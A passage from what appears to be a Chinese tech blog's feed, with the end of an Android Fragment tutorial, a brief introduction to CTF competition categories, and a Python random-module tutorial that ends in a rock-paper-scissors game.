<content type="html">< </span></div><div class="line">**关键代码** </div><div class="line">```java</div><div class="line">Fragment fragment = fm.findFragmentById(R.id.fragment_container);</div><div class="line"></div><div class="line"> <span class="keyword">if</span>(fragment == <span class="keyword">null</span>){</div><div class="line"> fragment = <span class="keyword">new</span> CrimeFragment();</div><div class="line"> fm.beginTransaction().add(R.id.fragment_container,fragment).commit();</div><div class="line"> }</div></pre></td></tr></table></figure></p><p>这段代码创建并提交了一个<code>fragment</code>事务:<br><code>fragment</code>事务被用来添加、移除、附加、分离或替换<code>fragment</code>队列中的<code>fragment</code>。<br><code>FragmentManager.beginTransaction()</code>方法创建并返回<code>FragmentTransaction</code>实例。<br>可以这么理解:<br>创建一个新的fragment事务,加入一个添加操作,然后提交该事务。<br><code>add(...)</code>方法是整个事务的核心,它含有两个参数:<br>容器视图<code>资源ID</code>和新创建的<code>CrimeFragment</code>。</p><p><code>容器视图资源ID</code>我们应该很熟悉了,它是定义在<code>activity_crime.xml</code>中的<code>FrameLayout</code>组件的资源ID。<br><img src="http://image.3001.net/images/20171012/15078172889868.png" alt=""><br><strong>容器视图资源ID的作用</strong></p><ul><li>告诉<code>FragmentManager</code>,<code>fragment</code>视图应该出现在<code>activity</code>视图的什么位置;</li><li>用作<code>FragmentManager</code>队列中<code>fragment</code>的唯一标识符 </li></ul><p>如需从<code>FragmentManager</code>中获取<code>CrimeFragment</code>,使用容器视图资源ID就行了:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">FragmentManager fm = getSupportFragmentManager();</div><div class="line">Fragment fragment = fm.findFragmentById(R.id.fragment_container);</div></pre></td></tr></table></figure></p><p><code>FragmentManager</code>使用<code>FrameLayout</code>组件的资源ID去识别<code>CrimeFragment</code>,如<br>果要向<code>activity</code>添加多个<code>fragment</code>,通常需要分别为每个<code>fragment</code>创建不同ID的容器。</p><p><strong>再次总结这一段代码</strong><br>首先,使用<code>R.id.fragment_container</code>的容器视图资源ID,向<code>FragmentManager</code>请求并获<br>取<code>fragment</code>。如果要获取的<code>fragment</code>已存在于队列中,<code>FragmentManager</code>就直接返回它。 </p><p><code>CrimeActivity</code>目前托管着<code>CrimeFragment</code>。运行<code>CriminalIntent</code>应用验证这一点,应该可以<br>看到定义在<code>fragment_crime.xml</code>中的视图,如图所示:<br><img src="http://image.3001.net/images/20171012/15078185177336.png" alt=""><br>本章的操作为后面的开发打下了坚实的基础,虽然现在看上去还是只有这一个可怜的界面,但是表桑心,好戏才刚刚开始呢。</p><h1 id="FragmentManager-与-fragment-生命周期"><a href="#FragmentManager-与-fragment-生命周期" class="headerlink" title="FragmentManager 与 fragment 生命周期"></a>FragmentManager 与 fragment 生命周期</h1><p>现在重新审视<code>fragment</code>的生命周期<br><img src="http://image.3001.net/images/20171012/15078187567147.png" alt=""><br><code>activity</code>的<code>FragmentManager</code>负责调用队列中<code>fragment</code>的生命周期方法。添加<code>fragment</code>供<code>FragmentManager</code>管理时,<code>onAttach(Activity)、onCreate(Bundle)以及onCreateView(...)</code>方法会被调用。托管<code>activity</code>的<code>onCreate(...)</code>方法执行后,<code>onActivityCreated(...)</code>方法也会被调用。因为我们正在<code>CrimeActivity.onCreate(...)</code>方法中添加<code>CrimeFragment</code>,所以<code>fragment</code>被添加后,该方法会被调用。<br><strong>在<code>activity</code>处于运行状态时,添加<code>fragment</code>会发生什么呢?</strong><br>此种情况下,<code>FragmentManager</code>立即驱使<code>fragment</code>行动,执行必要方法,快速跟上<code>activity</code>的步伐(与activity的最新状态保持同步)。一旦<code>fragment</code>的状态与<code>activity</code>的状态保持了同步,托管<code>activity</code>的<code>FragmentManager</code>就会边接收操作系统的调用指令,边调用其他生命周期方法,以继续保持<code>fragment</code>与<code>activity</code>的状态一致。 </p><h1 id="使用-fragment-的理由"><a href="#使用-fragment-的理由" class="headerlink" title="使用 fragment 的理由"></a>使用 fragment 的理由</h1><ul><li>这是实际开发中最可能使用的模式</li><li>后期开发会经常使用到</li></ul><h1 id="为什么应优先使用支持库版-fragment"><a href="#为什么应优先使用支持库版-fragment" class="headerlink" title="为什么应优先使用支持库版 fragment"></a>为什么应优先使用支持库版 fragment</h1><p>没有使用<code>Android</code>操作系统内置版<code>fragment</code>,而是使用了支持库版<code>fragment</code>。 </p><ul><li>大多数开发人员都在使用支持fragment的Android版本</li><li>使用支持库版fragment没有显著的缺点</li></ul>]]></content>
<summary type="html">
<p><img src="http://image.3001.net/images/20171012/1507821876548.png" alt=""><br>把书上第7章的Android代码重新详细的整理了一遍,之前写的不够认真,思路很乱<br>
</summary>
<category term="Android" scheme="http://www.sqlsec.com/categories/Android/"/>
<category term="Android" scheme="http://www.sqlsec.com/tags/Android/"/>
<category term="国光" scheme="http://www.sqlsec.com/tags/%E5%9B%BD%E5%85%89/"/>
</entry>
<entry>
<title>CTF新手指南</title>
<link href="http://www.sqlsec.com/2017/09/CTFinfo.html"/>
<id>http://www.sqlsec.com/2017/09/CTFinfo.html</id>
<published>2017-09-30T00:37:27.000Z</published>
<updated>2017-09-30T03:55:45.000Z</updated>
<content type="html"><![CDATA[<p><img src="http://image.3001.net/images/20170930/15067321189004.png" alt=""><br>Knowing is not enough; we must apply. Willing is not enough; we must do.<br><a id="more"></a></p><h1 id="CTF新手指南"><a href="#CTF新手指南" class="headerlink" title="CTF新手指南"></a>CTF新手指南</h1><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">“Knowing is not enough; we must apply. Willing is not enough; we must do.” (仅仅知道还不够,我们必须付诸实践。仅有意愿还不够,我们必须付诸行动。)</div><div class="line">—— Johann Wolfgang von Goethe</div></pre></td></tr></table></figure><h2 id="CTF(夺旗赛)介绍"><a href="#CTF(夺旗赛)介绍" class="headerlink" title="CTF(夺旗赛)介绍"></a>CTF(夺旗赛)介绍</h2><p>CTF(Capture The Flag)中文一般译为夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大赛,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。</p><h2 id="CTF(比赛)"><a href="#CTF(比赛)" class="headerlink" title="CTF(比赛)"></a>CTF(比赛)</h2><p><strong>WEB</strong><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">涉及到常见的Web漏洞,诸如注入、XSS、文件包含、代码执行、上传等漏洞.</div></pre></td></tr></table></figure></p><p><strong>Crypto</strong><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">即密码学,题目考察各种加解密技术,包括古典加密技术、现代加密技术甚至出题者自创加密技术,主要考查参赛选手密码学相关知识点.</div></pre></td></tr></table></figure></p><p><strong>MISC</strong><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">即安全杂项,题目涉及流量分析、电子取证、人肉搜索、数据分析、大数据统计等等,覆盖面比较广,主要考查参赛选手的各种基础综合知识.</div></pre></td></tr></table></figure></p><p><strong>Reverse</strong><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">即逆向工程,题目涉及到软件逆向、破解技术等,要求有较强的反汇编、反编译扎实功底。主要考查参赛选手的逆向分析能力.</div></pre></td></tr></table></figure></p><p><strong>STEGA</strong><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">即隐写术,题目的Flag会隐藏到图片、音频、视频等各类数据载体中供参赛选手获取。主要考查参赛选手的对各种隐写工具、隐写算法的熟悉程度.</div></pre></td></tr></table></figure></p><p><strong>PPC</strong><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">即编程类题目,题目涉及到程序编写、编程算法实现,当然PPC相比ACM来说,还是较为容易的。至于编程语言嘛,推荐使用Python或Ruby来尝试</div></pre></td></tr></table></figure></p><p><strong>PWN</strong><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">在黑客俚语中代表着攻破,取得权限,在CTF比赛中它代表着溢出类的题目,其中常见类型溢出漏洞有栈溢出、堆溢出。主要考察参数选手对漏洞的利用能力.</div></pre></td></tr></table></figure></p><p>以上总结来源于<a href="http://www.shiyanbar.com/ctf/practice" target="_blank" rel="external">实验吧</a></p>]]></content>
<summary type="html">
<p><img src="http://image.3001.net/images/20170930/15067321189004.png" alt=""><br>Knowing is not enough; we must apply. Willing is not enough; we must do.<br>
</summary>
<category term="CTF" scheme="http://www.sqlsec.com/categories/CTF/"/>
<category term="CTF" scheme="http://www.sqlsec.com/tags/CTF/"/>
<category term="sky" scheme="http://www.sqlsec.com/tags/sky/"/>
</entry>
<entry>
<title>Python模块学习之random</title>
<link href="http://www.sqlsec.com/2017/09/pyrandom.html"/>
<id>http://www.sqlsec.com/2017/09/pyrandom.html</id>
<published>2017-09-29T07:35:27.000Z</published>
<updated>2017-09-30T03:53:23.000Z</updated>
<content type="html"><![CDATA[<p><img src="http://image.3001.net/images/20170929/15066760165132.png" alt=""><br>记录了Python的random的一些知识点,尝试着用Python写猜拳小游戏脚本<br><a id="more"></a></p><h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p><code>random</code>是用于生成随机数的,我们可以利用它随机生成<code>数字</code>或者<code>选择字符串</code>。</p><h1 id="random-random"><a href="#random-random" class="headerlink" title="random.random()"></a>random.random()</h1><p>用于生成一个随机浮点数:<code>range[0.0,1.0)</code><br><figure class="highlight py"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="comment"># -*- coding:utf-8 -*-</span></div><div class="line"><span class="keyword">import</span> random</div><div class="line">a = random.random()</div><div class="line">print(a)</div></pre></td></tr></table></figure></p><p><strong>运行结果</strong><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">0.487110087493</div></pre></td></tr></table></figure></p><h1 id="random-uniform-a-b"><a href="#random-uniform-a-b" class="headerlink" title="random.uniform(a,b)"></a>random.uniform(a,b)</h1><p>用于生成一个指定范围内的随机浮点数,<code>a,b</code>为上下限,<code>a!=b</code>,就会生成介于两者之间的一个浮点数<br><code>a=b</code>,则生成的浮点数就是<code>a</code><br><figure class="highlight py"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line"><span class="comment"># -*- coding:utf-8 -*-</span></div><div class="line"><span class="keyword">import</span> random</div><div class="line">a = random.uniform(<span class="number">10</span>,<span class="number">20</span>)</div><div class="line">b = random.uniform(<span class="number">20</span>,<span class="number">10</span>) </div><div class="line">c = random.uniform(<span class="number">10</span>,<span class="number">10</span>)</div><div class="line"><span class="keyword">print</span> (a)</div><div class="line"><span class="keyword">print</span> (b)</div><div class="line"><span class="keyword">print</span> (c)</div></pre></td></tr></table></figure></p><p><strong>运行结果</strong><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">13.1155389339</div><div class="line">11.1683532034</div><div class="line">10.0</div></pre></td></tr></table></figure></p><h1 id="random-randint-a-b"><a href="#random-randint-a-b" class="headerlink" title="random.randint(a,b)"></a>random.randint(a,b)</h1><p>用于生成一个指定范围内的整数,<code>a</code>为下限,<code>b</code>为上限,生成的随机整数<code>a<=n<=b</code>;<br>若<code>a=b</code>,则<code>n=a</code><br>若<code>a>b</code>,报错<br><figure class="highlight py"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">import</span> random</div><div class="line">random.randint(<span class="number">10</span>,<span class="number">20</span>) <span class="comment">#输出 12</span></div><div class="line">random.randint(<span class="number">10</span>,<span class="number">10</span>) <span class="comment">#输出 10</span></div><div class="line">random.randint(<span class="number">20</span>,<span class="number">10</span>) <span class="comment">#Error</span></div></pre></td></tr></table></figure></p><h1 id="random-randrange-x-y-step"><a href="#random-randrange-x-y-step" class="headerlink" title="random.randrange(x, y, step)"></a>random.randrange(x, y, step)</h1><p>从指定范围内,按指定基数递增的集合中获取一个随机数,基数缺省值为<code>1</code><br><figure class="highlight py"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">import</span> random</div><div class="line">random.randrange(<span class="number">10</span>,<span class="number">100</span>) <span class="comment">#输出为10到100间的任意数</span></div><div class="line">random.randrange(<span class="number">10</span>,<span class="number">100</span>,<span class="number">4</span>) <span class="comment">#输出为10到100内以4递增的序列[10,14,18,22...]</span></div><div class="line">random.choice(range(<span class="number">10</span>,<span class="number">100</span>,<span class="number">4</span>)) <span class="comment">#输出在结果上与上一条等效</span></div></pre></td></tr></table></figure></p><h1 id="random-choice-sequence"><a href="#random-choice-sequence" class="headerlink" title="random.choice(sequence)"></a>random.choice(sequence)</h1><p>从序列中获取一个随机元素,参数<code>sequence</code>表示一个有序类型,并不是一种特定类型,泛指<code>list,tuple</code>,<code>字符串</code>等<br><figure class="highlight py"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">import</span> random</div><div class="line">random.choice(range(<span class="number">10</span>)) <span class="comment">#输出0到10内随机整数</span></div><div class="line">random.choice(range(<span class="number">10</span>,<span class="number">100</span>,<span class="number">2</span>)) <span class="comment">#输出随机值[10,12,14,16...]</span></div><div class="line">random.choice(<span class="string">"I love python"</span>) <span class="comment">#输出随机字符I,o,v,p,y...</span></div><div class="line">random.choice((<span class="string">"I love python"</span>)) <span class="comment">#同上</span></div><div class="line">random.choice([<span class="string">"I love python"</span>]) <span class="comment">#输出“I love python”</span></div><div class="line">random.choice(<span class="string">"I"</span>,<span class="string">"love"</span>,<span class="string">"python"</span>) <span class="comment">#Error</span></div><div class="line">random.choice((<span class="string">"I"</span>,<span class="string">"love"</span>,<span class="string">"python"</span>)) <span class="comment">#输出随机字符串“I”,“love”,“python”</span></div><div class="line">random.choice([<span class="string">"I"</span>,<span class="string">"love"</span>,<span class="string">"python"</span>]) <span class="comment">#输出随机字符串“I”,“love”,“python”</span></div></pre></td></tr></table></figure></p><h1 id="random-shuffle-x-random"><a href="#random-shuffle-x-random" class="headerlink" title="random.shuffle(x[,random])"></a>random.shuffle(x[,random])</h1><p>用于将一个列表中的元素<code>打乱</code><br><figure class="highlight py"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">import</span> random</div><div class="line">list=[<span class="string">'I'</span>,<span class="string">'love'</span>,<span class="string">'python'</span>,<span class="string">'very'</span>,<span class="string">'much'</span>]</div><div class="line">random.shuffle(list)</div><div class="line"><span class="keyword">print</span> list <span class="comment">#输出乱序list</span></div></pre></td></tr></table></figure></p><h1 id="random-sample-sequence-k"><a href="#random-sample-sequence-k" class="headerlink" title="random.sample(sequence,k)"></a>random.sample(sequence,k)</h1><p>从指定序列中随机获取k个元素作为一个片段返回,`sample函数不会修改原有序列<br><figure class="highlight py"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line"><span class="comment"># -*- coding:utf-8 -*-</span></div><div class="line"><span class="keyword">import</span> random</div><div class="line">a=<span class="string">'123456789'</span></div><div class="line">b=[<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>,<span class="number">7</span>,<span class="number">8</span>,<span class="number">9</span>]</div><div class="line">c=[<span class="string">'a'</span>,<span class="string">'b'</span>,<span class="string">'c'</span>,<span class="string">'d'</span>,<span class="string">'e'</span>]</div><div class="line">aa = random.sample(a,<span class="number">3</span>)</div><div class="line">bb = random.sample(b,<span class="number">3</span>)</div><div class="line">cc = random.sample(c,<span class="number">3</span>)</div><div class="line">print(aa)</div><div class="line">print(bb)</div></pre></td></tr></table></figure></p><p><strong>运行结果</strong><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">['9', '2', '5']</div><div class="line">[5, 9, 3]</div><div class="line">['c', 'e', 'a']</div></pre></td></tr></table></figure></p><h1 id="猜拳游戏的实际运用"><a href="#猜拳游戏的实际运用" class="headerlink" title="猜拳游戏的实际运用"></a>猜拳游戏的实际运用</h1><figure class="highlight py"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div></pre></td><td class="code"><pre><div class="line"><span class="comment"># -*- coding:utf-8 -*-</span></div><div class="line"><span class="keyword">import</span> random</div><div class="line"></div><div class="line"><span class="keyword">while</span>(<span class="number">1</span>):</div><div class="line"> <span class="keyword">print</span> (<span class="string">"欢迎进入国光的石头剪刀布小游戏"</span>)</div><div class="line"> <span class="keyword">print</span> (<span class="string">" _ooOoo_ "</span> )</div><div class="line"> <span class="keyword">print</span> (<span class="string">" o8888888o "</span> )</div><div class="line"> <span class="keyword">print</span> (<span class="string">" 88 . 88 "</span> )</div><div class="line"> <span class="keyword">print</span> (<span class="string">" (| -_- |) "</span> )</div><div class="line"> <span class="keyword">print</span> (<span class="string">" O\\ = /O "</span> )</div><div class="line"> <span class="keyword">print</span> (<span class="string">" ____/`---'\\____ "</span> )</div><div class="line"> <span class="keyword">print</span> (<span class="string">" . ' \\| |// `. "</span> )</div><div class="line"> <span class="keyword">print</span> (<span class="string">" / \\||| : |||// \\ "</span> )</div><div class="line"> <span class="keyword">print</span> (<span class="string">" / _||||| -:- |||||- \\ "</span> )</div><div class="line"> <span class="keyword">print</span> (<span class="string">" | | \\\\\\ - /// | | "</span> )</div><div class="line"> <span class="keyword">print</span> (<span class="string">" | \\_| ''\\---/'' | | "</span> )</div><div class="line"> <span class="keyword">print</span> (<span class="string">" \\ .-\\__ `-` ___/-. / "</span> )</div><div class="line"> <span class="keyword">print</span> (<span class="string">" ___`. .' /--.--\\ `. . __ "</span> )</div><div class="line"> <span class="keyword">print</span> (<span class="string">" ."</span><span class="string">" '< `.___\\_<|>_/___.' >'"</span><span class="string">". "</span> )</div><div class="line"> <span class="keyword">print</span> (<span class="string">" | | : `- \\`.;`\\ _ /`;.`/ - ` : | | "</span> )</div><div class="line"> <span class="keyword">print</span> (<span class="string">" \\ \\ `-. \\_ __\\ /__ _/ .-` / / "</span> )</div><div class="line"> <span class="keyword">print</span> (<span class="string">" ======`-.____`-.___\\_____/___.-`____.-'====== "</span>)</div><div class="line"> <span class="keyword">print</span> (<span class="string">" `=---=' "</span> )</div><div class="line"> <span class="keyword">print</span> (<span class="string">" "</span>)</div><div class="line"> <span class="keyword">print</span> (<span class="string">" ............................................. "</span> )</div><div class="line"> player = (int)(input(<span class="string">"选项:\n0-剪刀 1-石头 2-布\n请输入:"</span>))</div><div class="line"> pc = random.randint(<span class="number">0</span>,<span class="number">2</span>)</div><div class="line"></div><div class="line"> <span class="function"><span class="keyword">def</span> <span class="title">list</span><span class="params">(x)</span>:</span></div><div class="line"> <span class="keyword">if</span>(x == <span class="number">0</span>):</div><div class="line"> <span class="keyword">return</span> (<span class="string">"剪刀"</span>)</div><div class="line"> <span class="keyword">elif</span>(x == <span class="number">1</span>):</div><div class="line"> <span class="keyword">return</span> (<span class="string">"石头"</span>)</div><div class="line"> <span class="keyword">else</span>:</div><div class="line"> <span class="keyword">return</span> (<span class="string">"布"</span>)</div><div class="line"> <span class="function"><span class="keyword">def</span> <span class="title">gg</span><span class="params">()</span>:</span></div><div class="line"> <span class="keyword">print</span> (<span class="string">"电脑:%s"</span> % list(pc))</div><div class="line"> <span class="keyword">print</span> (<span class="string">"你:%s"</span> % list(player))</div><div class="line"></div><div class="line"> <span class="keyword">if</span> ((player == <span class="number">0</span>) <span class="keyword">and</span> ((pc == <span class="number">1</span>)) <span class="keyword">or</span> (player == <span class="number">1</span>) <span class="keyword">and</span> (pc == <span class="number">2</span>) <span class="keyword">or</span> (player == <span class="number">2</span>) <span class="keyword">and</span> (pc == <span class="number">0</span>) ):</div><div class="line"> gg()</div><div class="line"> print(<span class="string">"好可惜 输给了电脑了"</span>)</div><div class="line"> <span class="keyword">elif</span> player == pc:</div><div class="line"> gg()</div><div class="line"> print(<span class="string">"平局"</span>)</div><div class="line"> <span class="keyword">else</span>:</div><div class="line"> gg()</div><div class="line"> <span class="keyword">print</span> (<span class="string">"恭喜 你赢了"</span>)</div><div class="line"> flag = raw_input(<span class="string">"想再继续玩一把吗?[Y/N]"</span>)</div><div class="line"> print(flag)</div><div class="line"> <span class="keyword">if</span>(flag == <span class="string">'N'</span> <span class="keyword">or</span> flag ==<span class="string">'n'</span>):</div><div class="line"> <span class="keyword">print</span> (<span class="string">"Bye Bye ~"</span>)</div><div class="line"> <span class="keyword">break</span></div></pre></td></tr></table></figure><p><strong>运行结果</strong><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div></pre></td><td class="code"><pre><div class="line">欢迎进入国光的石头剪刀布小游戏</div><div class="line"> _ooOoo_ </div><div class="line"> o8888888o </div><div class="line"> 88 . 88 </div><div class="line"> (| -_- |) </div><div class="line"> O\ = /O </div><div class="line"> ____/`---'\____ </div><div class="line"> . ' \| |// `. </div><div class="line"> / \||| : |||// \ </div><div class="line"> / _||||| -:- |||||- \ </div><div class="line"> | | \\\ - /// | | </div><div class="line"> | \_| ''\---/'' | | </div><div class="line"> \ .-\__ `-` ___/-. / </div><div class="line"> ___`. .' /--.--\ `. . __ </div><div class="line"> . '< `.___\_<|>_/___.' >'. </div><div class="line"> | | : `- \`.;`\ _ /`;.`/ - ` : | | </div><div class="line"> \ \ `-. \_ __\ /__ _/ .-` / / </div><div class="line"> ======`-.____`-.___\_____/___.-`____.-'====== </div><div class="line"> `=---=' </div><div class="line"> </div><div class="line"> ............................................. </div><div class="line">选项:</div><div class="line">0-剪刀 1-石头 2-布</div><div class="line">请输入:2</div><div class="line">电脑:剪刀</div><div class="line">你:布</div><div class="line">好可惜 输给了电脑了</div><div class="line">想再继续玩一把吗?[Y/N]y</div><div class="line">y</div><div class="line">欢迎进入国光的石头剪刀布小游戏</div><div class="line"> _ooOoo_ </div><div class="line"> o8888888o </div><div class="line"> 88 . 88 </div><div class="line"> (| -_- |) </div><div class="line"> O\ = /O </div><div class="line"> ____/`---'\____ </div><div class="line"> . ' \| |// `. </div><div class="line"> / \||| : |||// \ </div><div class="line"> / _||||| -:- |||||- \ </div><div class="line"> | | \\\ - /// | | </div><div class="line"> | \_| ''\---/'' | | </div><div class="line"> \ .-\__ `-` ___/-. / </div><div class="line"> ___`. .' /--.--\ `. . __ </div><div class="line"> . '< `.___\_<|>_/___.' >'. </div><div class="line"> | | : `- \`.;`\ _ /`;.`/ - ` : | | </div><div class="line"> \ \ `-. \_ __\ /__ _/ .-` / / </div><div class="line"> ======`-.____`-.___\_____/___.-`____.-'====== </div><div class="line"> `=---=' </div><div class="line"> </div><div class="line"> ............................................. </div><div class="line">选项:</div><div class="line">0-剪刀 1-石头 2-布</div><div class="line">请输入:0</div><div class="line">电脑:剪刀</div><div class="line">你:剪刀</div><div class="line">平局</div><div class="line">想再继续玩一把吗?[Y/N]n</div><div class="line">n</div><div class="line">Bye Bye ~</div><div class="line"></div><div class="line">Process finished with exit code 0</div></pre></td></tr></table></figure></p><h2 id="自我总结"><a href="#自我总结" class="headerlink" title="自我总结"></a>自我总结</h2><h3 id="程序一直循环"><a href="#程序一直循环" class="headerlink" title="程序一直循环"></a>程序一直循环</h3><p><strong>核心代码</strong><br><figure class="highlight py"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">while</span>(<span class="number">1</span>):</div><div class="line">******代码主体******</div><div class="line">flag = raw_input(<span class="string">"想再继续玩一把吗?[Y/N]"</span>)</div><div class="line"> print(flag)</div><div class="line"> <span class="keyword">if</span>(flag == <span class="string">'N'</span> <span class="keyword">or</span> flag ==<span class="string">'n'</span>):</div><div class="line"> <span class="keyword">print</span> (<span class="string">"Bye Bye ~"</span>)</div><div class="line"> <span class="keyword">break</span></div></pre></td></tr></table></figure></p><h3 id="结果显示"><a href="#结果显示" class="headerlink" title="结果显示"></a>结果显示</h3><p><strong>核心代码</strong><br><figure class="highlight py"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">list</span><span class="params">(x)</span>:</span></div><div class="line"> <span class="keyword">if</span>(x == <span class="number">0</span>):</div><div class="line"> <span class="keyword">return</span> (<span class="string">"剪刀"</span>)</div><div class="line"> <span class="keyword">elif</span>(x == <span class="number">1</span>):</div><div class="line"> <span class="keyword">return</span> (<span class="string">"石头"</span>)</div><div class="line"> <span class="keyword">else</span>:</div><div class="line"> <span class="keyword">return</span> (<span class="string">"布"</span>)</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">gg</span><span class="params">()</span>:</span></div><div class="line"> <span class="keyword">print</span> (<span class="string">"电脑:%s"</span> % list(pc))</div><div class="line"> <span class="keyword">print</span> (<span class="string">"你:%s"</span> % list(player))</div><div class="line"></div><div class="line"><span class="keyword">if</span> ((player == <span class="number">0</span>) <span class="keyword">and</span> ((pc == <span class="number">1</span>)) <span class="keyword">or</span> (player == <span class="number">1</span>) <span class="keyword">and</span> (pc == <span class="number">2</span>) <span class="keyword">or</span> (player == <span class="number">2</span>) <span class="keyword">and</span> (pc == <span class="number">0</span>) ):</div><div class="line"> gg()</div><div class="line"> print(<span class="string">"好可惜 输给了电脑了"</span>)</div><div class="line"><span class="keyword">elif</span> player == pc:</div><div class="line"> gg()</div><div class="line"> print(<span class="string">"平局"</span>)</div><div class="line"><span class="keyword">else</span>:</div><div class="line"> gg()</div><div class="line"> <span class="keyword">print</span> (<span class="string">"恭喜 你赢了"</span>)</div></pre></td></tr></table></figure></p><p>首先封装了一个<code>list()</code>函数用于显示 结果详情,为了减少操作,又把冗余信息封装在了一个<code>gg()</code>函数里面 这样使用的时候直接调用即可。</p>]]></content>
<summary type="html">
<p><img src="http://image.3001.net/images/20170929/15066760165132.png" alt=""><br>记录了Python的random的一些知识点,尝试着用Python写猜拳小游戏脚本<br>
</summary>
<category term="Python" scheme="http://www.sqlsec.com/categories/Python/"/>
<category term="国光" scheme="http://www.sqlsec.com/tags/%E5%9B%BD%E5%85%89/"/>
<category term="Python" scheme="http://www.sqlsec.com/tags/Python/"/>
</entry>
<entry>
<title>Android学习之 fragment</title>
